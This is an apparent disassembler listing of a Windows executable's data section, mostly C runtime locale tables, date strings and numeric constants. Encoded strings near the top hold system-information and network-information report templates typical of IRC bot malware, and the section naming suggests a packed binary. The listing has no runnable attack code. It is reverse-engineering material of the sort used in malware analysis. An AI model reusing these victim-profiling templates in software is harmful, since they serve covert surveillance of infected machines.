aHhMmSs_0 db 'HH:mm:ss',0 ; DATA XREF: sub_41897B+1AEo
align 4
dword_450F7C dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah
; DATA XREF: sub_41897B+297o
dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h
dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
dd 74705502h, 2656D69h, 7325203Ah, 2Eh
dword_451058 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_418C2F+48o
dword_451068 dd 6C616944h, 70752Dh ; DATA XREF: sub_418C2F+5Bo
off_451070 dd offset dword_4E414C ; DATA XREF: sub_418C2F:loc_418C9Co
off_451074 dd offset loc_412F4E ; DATA XREF: sub_418C2F+77o
off_451078 dd offset loc_412F4E ; DATA XREF: sub_418C2F+88o
dword_45107C dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h
; DATA XREF: sub_418C2F+AEo
dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h
dd 7325203Ah, 2Eh
dword_4510C0 dd 1 ; DATA XREF: sub_418FC0+10r
; sub_418FC0+F2r ...
dword_4510C4 dd 25h ; DATA XREF: sub_418FC0:loc_41900Cr
; sub_418FC0:loc_419175r ...
dword_4510C8 dd 0FFFFFFFFh ; DATA XREF: sub_418FC0+58r
; sub_4193C0+9Er ...
byte_4510CC db 0FDh ; DATA XREF: sub_418FC0+2B7r
; sub_418FC0+2D1r ...
byte_4510CD db 0DDh ; DATA XREF: sub_4199B0+257r
; sub_4199B0+39Br ...
byte_4510CE db 0CDh ; DATA XREF: sub_418FC0+2F1r
; sub_4193C0+377r
align 10h
off_4510D0 dd offset aFree ; DATA XREF: sub_4199B0+177r
; sub_4199B0+1DDr ...
; "Free"
dd offset dword_437514+20h
dd offset dword_437514+1Ch
dd offset dword_437514+14h
dd offset dword_437514+0Ch
align 10h
dword_4510F0 dd 173Fh ; DATA XREF: sub_41CCD0+Br
dd 9875h, 9873h
off_4510FC dd offset sub_41CE10 ; DATA XREF: sub_41B540+3r
; sub_41B540+Cr
dd offset sub_41CE40
dd offset sub_41CE40
dword_451108 dd 1B3Fh ; DATA XREF: sub_41CEF0+Br
dword_45110C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41D4DD+2o
; sub_41D4E6+2o
off_451120 dd offset sub_41B5A0 ; DATA XREF: sub_41EB30+22r
dword_451124 dd 2 ; DATA XREF: sub_42AAC0+15r
; sub_42AB10+86r ...
off_451128 dd offset dword_4EFFA0 ; DATA XREF: sub_41EB90+B3o
; sub_41ECE0+3o ...
align 10h
dd offset dword_4EFFA0
dd 101h
dword_451138 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41EB90+11Cw
dd 1000h, 0
dword_451148 dd 3 dup(0) ; DATA XREF: sub_422AF0+111o
; sub_424AA0:loc_424AF3o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_451168 dd 3 dup(0) ; DATA XREF: sub_422AF0+11Ao
; sub_424AA0:loc_424B05o
dd 2, 0FFFFFFFFh, 83h dup(0)
dword_451388 dd 8 dup(0) ; DATA XREF: sub_41ECE0+Co
; sub_41ED50+Co
dword_4513A8 dd 0FFFFFFFFh ; DATA XREF: sub_41EED0+80o
; sub_41EED0+108o ...
dword_4513AC dd 2 ; DATA XREF: .nsp0:0041EDEEr
; .nsp0:0041EE09r ...
dd 2 dup(4)
dword_4513B8 dd 0FFFFFFFFh ; DATA XREF: .nsp0:0041EE50r
; .nsp0:0041EE5Cr ...
dd 2 dup(0FFFFFFFFh)
off_4513C4 dd offset aWarning ; DATA XREF: sub_41F260+284r
; "Warning"
dd offset aError ; "Error"
dd offset dword_437D44+8
dword_4513D0 dd 0 ; DATA XREF: sub_41FAA0+1Fr
; sub_41FAA0+44r ...
off_4513D4 dd offset dword_4EF900 ; DATA XREF: sub_41FA60+29r
; sub_41FAA0+8Fr
dd 7 dup(0)
off_4513F4 dd offset dword_4EF930 ; DATA XREF: sub_41FA60+1Cr
; sub_41FAA0:loc_41FB09r
dd 3 dup(0)
off_451404 dd offset dword_4EF948 ; DATA XREF: sub_41FA60+Fr
; sub_41FAA0+75r
dd 3 dup(0)
off_451414 dd offset dword_4EF918 ; DATA XREF: sub_41FA60+3r
; sub_41FAA0+82r
dd 7 dup(0)
dd 9D0B40h, 16h dup(0)
off_451490 dd offset sub_41FD10 ; DATA XREF: sub_418FC0+79r
; sub_4193C0+C1r ...
dd 10h
dword_451498 dd 3F8h ; DATA XREF: sub_41FCA0+7r
; sub_41FD20+3Cr ...
off_45149C dd offset word_4514A6 ; DATA XREF: sub_41ABF0+7Cr
; sub_41B2F0+2Dr ...
off_4514A0 dd offset word_4514A6 ; DATA XREF: sub_42F970+2A4w
; sub_42F970+35Bw
db 2 dup(0)
word_4514A6 dw 20h ; DATA XREF: sub_42F970:loc_42FCC1o
; sub_42F970+35Bo ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_4516A8 dd 1 ; DATA XREF: sub_41ABF0+4Er
; sub_41B2F0:loc_41B2F6r ...
byte_4516AC db 2Eh ; DATA XREF: sub_424CA0:loc_425B27r
; sub_424CA0+ED2r ...
align 10h
dword_4516B0 dd 1 ; DATA XREF: sub_42F1E0+169w
; sub_42F1E0+296w
off_4516B4 dd offset aNull_0 ; DATA XREF: sub_422D70:loc_4231B2r
; sub_422D70+57Cr
; "(null)"
off_4516B8 dd offset aNull ; DATA XREF: sub_422D70+514r
; "(null)"
dword_4516BC dd 2 ; DATA XREF: sub_423C10+Fw
; sub_423C10+14r ...
byte_4516C0 db 1 ; DATA XREF: sub_423EC0+12Fr
db 2, 4, 8
align 8
dword_4516C8 dd 3A4h ; DATA XREF: sub_423EC0+7Er
word_4516CC dw 8260h ; DATA XREF: sub_423EC0+192r
dw 8279h
dd 21h, 0
dword_4516D8 dd 0DFA6h ; DATA XREF: sub_423EC0+D5r
align 10h
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4517B8 dd 1 ; DATA XREF: sub_424800+2Cr
dword_4517BC dd 16h ; DATA XREF: sub_424800+3Dr
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_451920 dd 0D2D0920h, 5Dh ; DATA XREF: sub_424CA0:loc_4250C2o
dword_451928 dd 5Dh, 0 ; DATA XREF: sub_424CA0:loc_42509Do
dword_451930 dd 14h ; DATA XREF: sub_426D50+1Fr
off_451934 dd offset aExp ; DATA XREF: sub_426D50+2Er
; "exp"
dd 1Dh, 43818Ch, 1Ah, 438188h, 1Bh, 438180h, 1Fh, 438178h
dd 13h, 438170h, 21h, 438168h, 0Eh, 438160h, 0Dh, 438158h
dd 0Fh, 438150h, 10h, 438148h, 5, 438140h, 1Eh, 43813Ch
dd 12h, 438138h, 20h, 438134h, 0Ch, 43812Ch, 0Bh, 438124h
dd 15h, 43811Ch, 1Ch, 438114h, 19h, 43810Ch, 11h, 438104h
dd 18h, 4380FCh, 16h, 4380F4h, 17h, 4380ECh, 22h, 4380E8h
dd 23h, 4380E4h, 24h, 4380E0h
dbl_451A08 dq 1.797693134862316e308 ; DATA XREF: sub_4268F0+E4r
; sub_4268F0:loc_4269E7r ...
dd 0
dd 0FFF80000h
dbl_451A18 dq 1.797693134862316e308 ; DATA XREF: sub_4268F0:loc_426A2Ar
; sub_4268F0+167r ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_451A30 dt 2.3562723457267347066e313 ; DATA XREF: sub_427140+13r
; sub_427140+2Ar
align 4
tbyte_451A3C dt 1.9149954921904370718e-1233 ; DATA XREF: sub_427140+41r
align 4
off_451A48 dd offset sub_427930 ; DATA XREF: sub_41CE50+3w
; sub_422D70+6ADr
off_451A4C dd offset sub_427340 ; DATA XREF: sub_41CE50+Dw
; sub_422D70+6F1r
off_451A50 dd offset sub_427450 ; DATA XREF: sub_41CE50+17w
; sub_424CA0+1138r
off_451A54 dd offset sub_427290 ; DATA XREF: sub_41CE50+21w
; sub_422D70+6CFr
off_451A58 dd offset sub_427420 ; DATA XREF: sub_41CE50+2Bw
off_451A5C dd offset sub_427930 ; DATA XREF: sub_41CE50+35w
dd offset sub_42DDD0
align 10h
off_451A70 dd offset sub_428670 ; DATA XREF: sub_428720+2Dr
; sub_428720+3Dr
dword_451A74 dd 43h ; DATA XREF: sub_428C90:loc_428DFCo
; .nsp0:00451B90o ...
dword_451A78 dd 43h, 20h dup(0) ; DATA XREF: sub_428F30+8Do
; sub_428F30+117o ...
dword_451AFC dd 43h, 20h dup(0) ; DATA XREF: sub_428F30+74o
; sub_428F30+FCo ...
off_451B80 dd offset aLc_all ; DATA XREF: .nsp0:00428A1Fr
; .nsp0:00428A38r ...
; "LC_ALL"
dword_451B84 dd 0 ; DATA XREF: .nsp0:00428917r
; .nsp0:00428BC0r ...
off_451B88 dd offset sub_4290C0 ; DATA XREF: sub_428C90+12Br
dd offset aLc_collate ; "LC_COLLATE"
dd offset dword_451A74
dd offset sub_42FD10
dd offset aLc_ctype ; "LC_CTYPE"
off_451B9C dd offset dword_451A74 ; DATA XREF: sub_428E30+F0r
dd offset sub_42F970
dd offset aLc_monetary ; "LC_MONETARY"
dd offset dword_451A74
dd offset sub_42F510
dd offset aLc_numeric ; "LC_NUMERIC"
dd offset dword_451A74
dd offset sub_42F1E0
dd offset aLc_time ; "LC_TIME"
dd offset dword_451A74
dd offset sub_42E860
dword_451BC8 dd 0C0000005h, 0Bh, 0 ; DATA XREF: sub_423CD0+6o
; .nsp0:00423E5Eo ...
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_451C40 dd 3 ; DATA XREF: sub_429AB0+98r
; sub_429AB0:loc_429B5Br ...
dword_451C44 dd 7 ; DATA XREF: sub_429AB0+B1r
; sub_42B3C0+17Dr
dword_451C48 dd 78h ; DATA XREF: .nsp0:0042B238r
; .nsp0:0042B256r
dword_451C4C dd 0Ah ; DATA XREF: sub_429C70+1Dr
; sub_429C70:loc_429CA2r ...
dword_451C50 dd 0FFFFFFFFh, 0A00h, 8 dup(0) ; DATA XREF: sub_421F10:loc_422066o
; sub_422AF0:loc_422CE9o
dword_451C78 dd 2 ; DATA XREF: sub_42AB10+2Ar
; sub_42AB10+3Dr ...
off_451C7C dd offset aR6002FloatingP ; DATA XREF: sub_42AB10+56r
; sub_42AB10+98r ...
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 43853Ch, 9, 438510h, 0Ah, 4384ECh, 10h, 4384C0h
dd 11h, 438490h, 12h, 43846Ch, 13h, 438440h, 18h, 438408h
dd 19h, 4383E0h, 1Ah, 4383A8h, 1Bh, 438370h, 1Ch, 438348h
dd 78h, 438338h, 79h, 438328h, 7Ah, 438318h, 0FCh, 438314h
dd 0FFh, 438304h, 2 dup(0)
dword_451D10 dd 2694h ; DATA XREF: sub_4261C0+3r
; .nsp0:0042622Fr ...
align 8
dword_451D18 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_42D910+3o
dword_451D30 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_42D930+3o
dword_451D48 dd 7080h ; DATA XREF: sub_4287B0+92r
; sub_42DF80+80w ...
dword_451D4C dd 1 ; DATA XREF: sub_4287B0+C2r
; sub_42DF80+BFw ...
dword_451D50 dd 0FFFFF1F0h ; DATA XREF: sub_4287B0+DEr
; sub_42DF80+D7w ...
dword_451D54 dd 545350h, 0Fh dup(0) ; DATA XREF: .nsp0:off_451DD4o
dword_451D94 dd 544450h, 0Fh dup(0) ; DATA XREF: .nsp0:off_451DD8o
off_451DD4 dd offset dword_451D54 ; DATA XREF: sub_42DF80+FAr
; sub_42DF80+123r ...
off_451DD8 dd offset dword_451D94 ; DATA XREF: sub_42DF80+140r
; sub_42DF80+16Ar ...
align 10h
dword_451DE0 dd 0FFFFFFFFh ; DATA XREF: sub_42DF80+30w
; sub_42E360+1Ar ...
dword_451DE4 dd 0 ; DATA XREF: sub_42E360:loc_42E55Br
; sub_42E360+20Fr ...
dword_451DE8 dd 0 ; DATA XREF: sub_42E360+2CFr
; sub_42E660+13Dw
align 10h
dword_451DF0 dd 0FFFFFFFFh ; DATA XREF: sub_42DF80+21w
; sub_42DF80+2Br ...
dword_451DF4 dd 0 ; DATA XREF: sub_42E360+201r
; sub_42E360+21Dr ...
dword_451DF8 dd 0 ; DATA XREF: sub_42E360+2E5r
; sub_42E660+1Dr ...
dword_451DFC dd 0FFFFFFFFh ; DATA XREF: sub_42E660+B0r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_451E2C dd 16Dh ; DATA XREF: sub_4287B0+2Er
; sub_42E660+2Cr ...
dword_451E30 dd 0FFFFFFFFh ; DATA XREF: sub_42E660+BFr
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 3 dup(0)
dword_451E70 dd 40Ah ; DATA XREF: sub_4308C0+3Er
; sub_4308C0+147r
a040a db '040a',0 ; DATA XREF: sub_4308C0+9Ao
align 4
off_451E7C dd offset aSpanishTraditi ; DATA XREF: sub_4308C0+ABr
; "Spanish - Traditional Sort"
off_451E80 dd offset byte_505345 ; DATA XREF: sub_4308C0+BCo
off_451E84 dd offset aSpain ; DATA XREF: sub_4308C0+CDr
; "Spain"
off_451E88 dd offset byte_505345 ; DATA XREF: sub_4308C0+DEo
dword_451E8C dd 303538h, 0 ; DATA XREF: sub_4308C0+EFo
a1252 db '1252',0 ; DATA XREF: sub_4308C0+100o
align 4
dd 40Bh, 62303430h, 0
dd offset aFinnish ; "Finnish"
dd offset word_4E4946
dd offset aFinland ; "Finland"
dd offset word_4E4946
dd 303538h, 0
a1252_0 db '1252',0
align 4
dd 40Ch, 63303430h, 0
dd offset aFrench ; "French"
dd offset loc_415244+2
dd offset aFrance ; "France"
dd offset loc_415244+2
dd 303538h, 0
a1252_1 db '1252',0
align 4
dd 40Fh, 66303430h, 0
dd offset aIcelandic ; "Icelandic"
dd offset byte_4C5349
dd offset aIceland ; "Iceland"
dd offset byte_4C5349
dd 303538h, 0
a1252_2 db '1252',0
align 10h
dd 41Dh, 64313430h, 0
dd offset aSwedish ; "Swedish"
dd offset byte_455653
dd offset aSweden ; "Sweden"
dd offset byte_455753
dd 303538h, 0
a1252_3 db '1252',0
align 4
dd 42Dh, 64323430h, 0
dd offset aBasque ; "Basque"
dd offset byte_515545
dd offset aSpain ; "Spain"
dd offset byte_505345
dd 303538h, 0
a1252_4 db '1252',0
align 4
db 0Ah
db 8,0
align 4
a080a db '080a',0
align 4
dd offset aSpanish ; "Spanish"
dd offset byte_4D5345
dd offset aMexico ; "Mexico"
dd 58454Dh, 303538h, 0
a1252_5 db '1252',0
align 4
dd 80Ch, 63303830h, 0
dd offset aFrench ; "French"
dd offset loc_425244+2
dd offset aBelgium ; "Belgium"
dd offset word_4C4542
dd 303538h, 0
a1252_6 db '1252',0
align 10h
dd 0C07h, 37306330h, 0
dd offset aGerman ; "German"
dd offset loc_414544
dd offset aAustria ; "Austria"
dd 545541h, 303538h, 0
a1252_7 db '1252',0
align 4
dd 0C09h, 39306330h, 0
dd offset aEnglish ; "English"
dd offset loc_414E45
dd offset aAustralia ; "Australia"
dd 535541h, 303538h, 0
a1252_8 db '1252',0
align 4
dd 0C0Ah, 61306330h, 0
dd offset aSpanishModernS ; "Spanish - Modern Sort"
dd offset byte_4E5345
dd offset aSpain ; "Spain"
dd offset byte_505345
dd 303538h, 0
a1252_9 db '1252',0
align 4
dd 0C0Ch, 63306330h, 0
dd offset aFrench ; "French"
dd offset loc_435246
dd offset aCanada ; "Canada"
dd offset byte_4E4143
dd 303538h, 0
a1252_10 db '1252',0
align 10h
dd 100Ah, 61303031h, 0
dd offset aSpanish ; "Spanish"
dd offset byte_475345
dd offset aGuatemala ; "Guatemala"
dd offset byte_4D5447
dd 303538h, 0
a1252_11 db '1252',0
align 4
dd 100Ch, 63303031h, 0
dd offset aFrench ; "French"
dd 535246h, 438784h, 454843h, 303538h, 0
a1252_12 db '1252',0
align 4
dd 140Ah, 61303431h, 0
dd offset aSpanish ; "Spanish"
dd offset loc_435345
dd offset aCostaRica ; "Costa Rica"
dd offset byte_495243
dd 303538h, 0
a1252_13 db '1252',0
align 4
dd 140Ch, 63303431h, 0
dd offset aFrench ; "French"
dd offset word_4C5246
dd offset aLuxembourg ; "Luxembourg"
dd 58554Ch, 303538h, 0
a1252_14 db '1252',0
align 10h
dd 180Ah, 61303831h, 0
dd offset aSpanish ; "Spanish"
dd offset loc_415344+1
dd offset aPanama ; "Panama"
dd offset dword_4E4150
dd 303538h, 0
a1252_15 db '1252',0
align 4
dd 1C09h, 39306331h, 0
dd offset aEnglish ; "English"
dd 534E45h, 438754h, 46415Ah, 373334h, 0
a1252_16 db '1252',0
align 4
dd 1C0Ah, 61306331h, 0
dd offset aSpanish ; "Spanish"
dd offset byte_445345
dd offset aDominicanRepub ; "Dominican Republic"
dd offset dword_4D4F44
dd 303538h, 0
a1252_17 db '1252',0
align 4
db 0Ah
db ' ',0
align 4
a200a db '200a',0
align 10h
dd offset aSpanish ; "Spanish"
dd 565345h, 438734h, 4E4556h, 303538h, 0
a1252_18 db '1252',0
align 10h
db 0Ah
db '$',0
align 4
a240a db '240a',0
align 4
dd offset aSpanish ; "Spanish"
dd offset byte_4F5345
dd offset aColombia ; "Colombia"
dd offset byte_4C4F43
dd 303538h, 0
a1252_19 db '1252',0
align 4
db 0Ah
db '(',0
align 10h
a280a db '280a',0
align 4
dd offset aSpanish ; "Spanish"
dd 525345h, 438720h, 524550h, 303538h, 0
a1252_20 db '1252',0
align 4
db 0Ah
db ',',0
align 4
a2c0a db '2c0a',0
align 4
dd offset aSpanish ; "Spanish"
dd 535345h, 438714h, 475241h, 303538h, 0
a1252_21 db '1252',0
align 4
a0_0 db 0Ah
db '0',0
align 4
a300a db '300a',0
align 10h
dd offset aSpanish ; "Spanish"
dd offset byte_465345
dd offset aEcuador ; "Ecuador"
dd 554345h, 303538h, 0
a1252_22 db '1252',0
align 10h
a4_0 db 0Ah
db '4',0
align 4
a340a db '340a',0
align 4
dd offset aSpanish ; "Spanish"
dd offset byte_4C5345
dd offset aChile ; "Chile"
dd offset byte_4C4843
dd 303538h, 0
a1252_23 db '1252',0
align 4
a8_0 db 0Ah
db '8',0
align 10h
a380a db '380a',0
align 4
dd offset aSpanish ; "Spanish"
dd 595345h, 4386FCh, 595255h, 303538h, 0
a1252_24 db '1252',0
align 4
db 0Ah
db '<',0
align 4
a3c0a db '3c0a',0
align 4
dd offset aSpanish ; "Spanish"
dd 5A5345h, 4386F0h, 595250h, 303538h, 0
a1252_25 db '1252',0
align 4
word_452314 dw 0C0Ch, 0C1Ah, 1007h, 436h, 80Ch, 42Dh, 403h, 100Ch
; DATA XREF: sub_430790+34r
dw 810h, 81Dh
off_452328 dd offset aAmerica ; DATA XREF: sub_42FDA0+9Co
; "america"
dd offset locret_415355
dd offset aBritain ; "britain"
dd 524247h, 438944h, 4E4843h, 43893Ch, 455A43h, 438934h
dd 524247h, 438924h, 524247h, 43891Ch, 444C4Eh, 438910h
dd 474B48h, 438904h, 4C5A4Eh, 438900h, 4C5A4Eh, 4388F4h
dd 4E4843h, 4388E8h, 4E4843h, 4388DCh, 495250h, 4388D4h
dd 4B5653h, 4388C4h, 46415Ah, 4388B8h, 524F4Bh, 4388A8h
dd 46415Ah, 43889Ch, 524F4Bh, 438888h, 4F5454h, 438964h
dd 524247h, 438878h, 524247h, 438868h, 415355h, 438960h
dd 415355h
off_4523E0 dd offset aAmerican ; DATA XREF: sub_42FDA0+67o
; "american"
dd 554E45h, 438D50h, 554E45h, 438D3Ch, 554E45h, 438D30h
dd 414E45h, 438D28h, 424C4Eh, 438D1Ch, 434E45h, 438D18h
dd 48485Ah, 438D14h, 49485Ah, 438D0Ch, 534843h, 438CF8h
dd 48485Ah, 438CE4h, 534843h, 438CD0h, 49485Ah, 438CBCh
dd 544843h, 438CACh, 424C4Eh, 438C98h, 554E45h, 438C8Ch
dd 414E45h, 438C7Ch, 4C4E45h, 438C70h, 434E45h, 438C5Ch
dd 424E45h, 438C50h, 494E45h, 438C40h, 4A4E45h, 438C34h
dd 5A4E45h, 438C1Ch, 534E45h, 438C00h, 544E45h, 438BF4h
dd 474E45h, 438BE8h, 554E45h, 438BDCh, 554E45h, 438BCCh
dd 425246h, 438BBCh, 435246h, 438BA8h, 4C5246h, 438B98h
dd 535246h, 438B88h, 414544h, 438B74h, 434544h, 438B60h
dd 4C4544h, 438B50h, 534544h, 438B40h, 494E45h, 438B30h
dd 535449h, 438B24h, 524F4Eh, 438B10h, 524F4Eh, 438AFCh
dd 4E4F4Eh, 438AE4h, 425450h, 438AD0h, 535345h, 438AC0h
dd 425345h, 438AB0h, 4C5345h, 438A9Ch, 4F5345h, 438A88h
dd 435345h, 438A6Ch, 445345h, 438A5Ch, 465345h, 438A48h
dd 455345h, 438A34h, 475345h, 438A20h, 485345h, 438A10h
dd 4D5345h, 438A00h, 4E5345h, 4389ECh, 495345h, 4389DCh
dd 415345h, 4389C8h, 5A5345h, 4389B8h, 525345h, 4389A4h
dd 555345h, 438994h, 595345h, 438980h, 565345h, 438970h
dd 465653h, 438968h, 534544h, 438964h, 474E45h, 438960h
dd 554E45h, 43895Ch, 554E45h
off_4525E8 dd offset off_4525F0 ; DATA XREF: sub_42E860+70w
; sub_42E860:loc_42E901w ...
align 10h
off_4525F0 dd offset aSun ; DATA XREF: sub_42E860:loc_42E901o
; .nsp0:off_4525E8o
; "Sun"
dd offset aMon ; "Mon"
dd offset aTue ; "Tue"
dd offset aWed ; "Wed"
dd offset aThu ; "Thu"
dd offset aFri ; "Fri"
dd offset aSat ; "Sat"
dd offset aSunday ; "Sunday"
dd offset aMonday ; "Monday"
dd offset aTuesday ; "Tuesday"
dd offset aWednesday ; "Wednesday"
dd offset aThursday ; "Thursday"
dd offset aFriday ; "Friday"
dd offset aSaturday ; "Saturday"
dd offset aJan ; "Jan"
dd offset aFeb ; "Feb"
dd offset aMar ; "Mar"
dd offset aApr ; "Apr"
dd offset aMay ; "May"
dd offset aJun ; "Jun"
dd offset aJul ; "Jul"
dd offset aAug ; "Aug"
dd offset aSep ; "Sep"
dd offset aOct ; "Oct"
dd offset aNov ; "Nov"
dd offset aDec ; "Dec"
dd offset aJanuary ; "January"
dd offset aFebruary ; "February"
dd offset aMarch ; "March"
dd offset aApril ; "April"
dd offset aMay ; "May"
dd offset aJune ; "June"
dd offset aJuly ; "July"
dd offset aAugust ; "August"
dd offset aSeptember ; "September"
dd offset aOctober ; "October"
dd offset aNovember ; "November"
dd offset dword_438DA8+34h
dd offset dword_438DA8+30h
dd offset dword_438DA8+2Ch
dd offset dword_438DA8+24h
dd offset dword_438DA8+10h
dd offset dword_438DA8+8
align 10h
dword_4526A0 dd 2Eh, 0 ; DATA XREF: sub_42F1E0+EEo
; .nsp0:off_4526A8o
off_4526A8 dd offset dword_4526A0 ; DATA XREF: sub_42F510+D4w
; sub_42F510+F6o ...
off_4526AC dd offset dword_4EFC04 ; DATA XREF: sub_42F510+E2w
off_4526B0 dd offset dword_4EFC04 ; DATA XREF: sub_42F510+F1w
dd offset dword_4EFC04
dd offset dword_4EFC04
dd offset dword_4EFC04
dd offset dword_4EFC04
dd offset dword_4EFC04
dd offset dword_4EFC04
dd offset dword_4EFC04
dd 2 dup(7F7F7F7Fh)
off_4526D8 dd offset off_4526A8 ; DATA XREF: sub_42F1E0:loc_42F2C9r
; sub_42F1E0+F8r ...
align 10h
dword_4526E0 dd 2 dup(0) ; DATA XREF: sub_4344A0+6o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_452840 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_4344A0+2Ao
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
off_4529A0 dd offset off_439020 ; DATA XREF: .nsp0:off_439048o
; .nsp0:00439174o ...
align 8
a_?avexception@ db '.?AVexception@@',0
off_4529B8 dd offset off_439020 ; DATA XREF: .nsp0:off_439060o
; .nsp0:004390A4o ...
align 10h
